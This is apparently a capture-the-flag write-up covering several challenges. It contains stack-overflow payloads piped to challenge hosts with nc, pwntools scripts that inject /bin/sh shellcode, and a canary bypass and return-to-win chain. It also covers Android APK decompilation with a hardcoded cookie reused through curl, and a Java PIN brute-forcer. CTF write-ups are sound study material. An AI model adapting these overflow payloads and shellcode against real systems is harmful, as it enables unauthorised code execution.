$ cat zed | uncompress -f -
flag{65e48228c2508afe47661ef1eeacbed0}
7 words of filler, and 3 bytes of RSP.
echo -e '11111111111111112222222233333333444444445555555566666666\x05\x12@' | nc challenge.ctf.games 31400
More words of filler and 3 (given) addrs.
echo -e '111111112222222233333333444444445555555566666666777777778888888899999999AAAAAAAABBBBBBBB\x38\x13\x40\x00\x00\x00\x00\x00\xd6\x11\x40\x00\x00\x00\x00\x00\x36\x12\x40\x00\x00\x00\x00\x00' | nc challenge.ctf.games 32212
(Code is skipping pwntools pre-amble) We shove our shellcode on the stack and jump to it. Ignore my lack of "A"*100 style padding - I was originally trying to solve these in bash for extra points ;-)
p.recvuntil('Input = ')
base = int(p.recvline().strip(),16)
shell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05AAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOO'
shell += p64(base)
p.sendline(shell)
p.interactive()
p.recvuntil('Stack canary: ')
canary = int(p.recvline().strip().split()[0],16)
shell = b'\xff'*56
shell += p64(canary)
shell += p64(0xdeadbeef) #RBP
shell += p64(0x401215) # RSP=Win()
p.sendline(shell)
p.interactive()
Gather the offsets, too lazy to load Ghidra...
# gef➤ break callme1
# Breakpoint 2 at 0x134f
# gef➤ break callme2
# Breakpoint 3 at 0x11ed
# gef➤ break win
# Breakpoint 4 at 0x124d
p.recvuntil('Win function: ')
winactual = int(p.recvline().strip(),16)
print(winactual)
# Calculate offsets wrt leaked addr
callme1 = winactual - 0x124d + 0x134f
callme2 = winactual - 0x124d + 0x11ed
shell = b'\xff'*88
shell += p64(callme1)
shell += p64(callme2)
shell += p64(winactual)
p.sendline(shell)
p.interactive()
unzip *.apk
dex-tools-2.1-SNAPSHOT/d2j-dex2jar.sh classes.dex
java -jar jd-gui-1.6.6.jar classes-dex2jar.jar
We find the following source
public class FlagActivity extends AppCompatActivity {
protected void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
setContentView(2131361820);
final TextView flagTV = (TextView)findViewById(2131165305);
String str = getIntent().getStringExtra("pin");
RequestQueue requestQueue = Volley.newRequestQueue((Context)this);
StringRequest stringRequest = new StringRequest(0, "http://congon4tor.me:7777", new Response.Listener<String>() {
public void onResponse(String param1String) {
flagTV.setText(param1String.toString());
}
}, new Response.ErrorListener() {
public void onErrorResponse(VolleyError param1VolleyError) {
flagTV.setText("That didn't work!");
}
}) {
public Map<String, String> getHeaders() throws AuthFailureError {
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put("Cookie", "voleyball=5V09ukqfnHQJ7ObHmGDNnw==");
return (Map)hashMap;
And get the flag with:
$ curl -H 'Cookie: voleyball=5V09ukqfnHQJ7ObHmGDNnw==' http://congon4tor.me:7777
flag{9173e4eef421c88bf9724feb642dd107}
Mercurial SCM repo... ( BSidesBOS re-use ;-) )
hg log --removed --stat -p | grep flag
+flag{version_control_for_the_solar_system}
"This app provides maximum flag security!"
unzip apk ; grep flag ...
No @congon4tor, it doesn't even provide maximum ctf-ability ;-)
android studio shows the resources has:
0x7f0d0020 encrypted_flag VFxYVEoFAgVdBAcABlBWBFRSAARdAQdVU1ABD1AKAFYCV1ICBU8=
16o
2131558432
p
7F0D0020
Unpack the apk, dex2jar, jd-gui as above.
We have MainActivity load this
public void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
setContentView(2131427356);
String str = getString(2131558432);
this.p = (TextView)findViewById(2131230859);
EditText editText = (EditText)findViewById(2131230920);
((Button)findViewById(2131230982)).setOnClickListener(new a(this, str, editText));
}
And set an on-click listener for that.
public class a implements View.OnClickListener {
public a(MainActivity this$0, String param1String, EditText param1EditText) {}
public void onClick(View param1View) {
String str2 = this.b;
String str1 = this.c.getText().toString();
(new b.b.a.a.a(this.d)).execute((Object[])new String[][] { { str2, str1 } });
}
}
In older jd-gui1.4 it is more obvious
public void onCreate(final Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131427356);
paramBundle = getString(2131558432);
this.p = ((TextView)findViewById(2131230859));
final EditText localEditText = (EditText)findViewById(2131230920);
((Button)findViewById(2131230982)).setOnClickListener(new a(paramBundle, localEditText));
}
public class a
implements View.OnClickListener
{
public a(String paramString, EditText paramEditText) {}
public void onClick(View paramView)
{
String str = paramBundle;
paramView = localEditText.getText().toString();
new a(MainActivity.this).execute(new String[][] { { str, paramView } });
}
}
The a() method invoked is this:
public final byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
{
byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
for (int i = 0; i < paramArrayOfByte1.length; i++) {
arrayOfByte[i] = ((byte)(byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]));
}
return arrayOfByte;
}
public Object doInBackground(Object[] paramArrayOfObject)
{
paramArrayOfObject = (String[][])paramArrayOfObject;
String str = paramArrayOfObject[0][0];
Object localObject = paramArrayOfObject[0][1];
try
{
paramArrayOfObject = MessageDigest.getInstance("SHA-256");
paramArrayOfObject.update(((String)localObject).getBytes("UTF-8"));
paramArrayOfObject.update("aFwCDlOkMtCRHLfwikUqd2IVpslYlwmB".getBytes("UTF-8"));
localObject = new java/math/BigInteger;
((BigInteger)localObject).<init>(1, paramArrayOfObject.digest());
localObject = ((BigInteger)localObject).toString(16);
paramArrayOfObject = new java/lang/String;
paramArrayOfObject.<init>(a(Base64.decode(str, 0), ((String)localObject).getBytes()));
}
catch (UnsupportedEncodingException paramArrayOfObject) {}catch (NoSuchAlgorithmException paramArrayOfObject) {}
paramArrayOfObject.printStackTrace();
paramArrayOfObject = "Error decrypting";
return paramArrayOfObject;
}
public void onPostExecute(Object paramObject)
{
paramObject = (String)paramObject;
super.onPostExecute(paramObject);
this.a.p.setText((CharSequence)paramObject);
}
So we basically sha256(pin+"aFwCDlOkMtCRHLfwikUqd2IVpslYlwmB") convert that to hex, then run the xor(b64d(enc),sha256ashexstring)
We can now brute-force the PIN...
package decrypt;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;
public class decrypt {
public static void main(String[] args) {
String enc = "VFxYVEoFAgVdBAcABlBWBFRSAARdAQdVU1ABD1AKAFYCV1ICBU8=";
byte [] encd = Base64.getDecoder().decode(enc);
Integer i = 0;
String pin;
for(i = 0 ; i<=9999 ; i++ ) {
pin = String.format("%04d", i);
MessageDigest md;
try {
md = MessageDigest.getInstance("SHA-256");
md.update(pin.getBytes("UTF-8"));
md.update("aFwCDlOkMtCRHLfwikUqd2IVpslYlwmB".getBytes("UTF-8"));
BigInteger b=new BigInteger(md.digest());
String sha = b.toString(16);
byte [] done = a(encd,sha.getBytes());
String donestring = new String(done, StandardCharsets.UTF_8);
if(donestring.matches("flag.*")) {
System.out.println(donestring);
}
} catch (NoSuchAlgorithmException | UnsupportedEncodingException e) {
e.printStackTrace();
}
}
}
// Verbatim copy from decompiler.
public static final byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
{
byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
for (int i = 0; i < paramArrayOfByte1.length; i++) {
arrayOfByte[i] = ((byte)(byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]));
}
return arrayOfByte;
}
}
Prints flag{6208bd242a266dfd8bedb17e9ad3b0d2}
Here is how i solved the QR Code challange, i did it in bash since i was just overall lazy, but here is what i came up with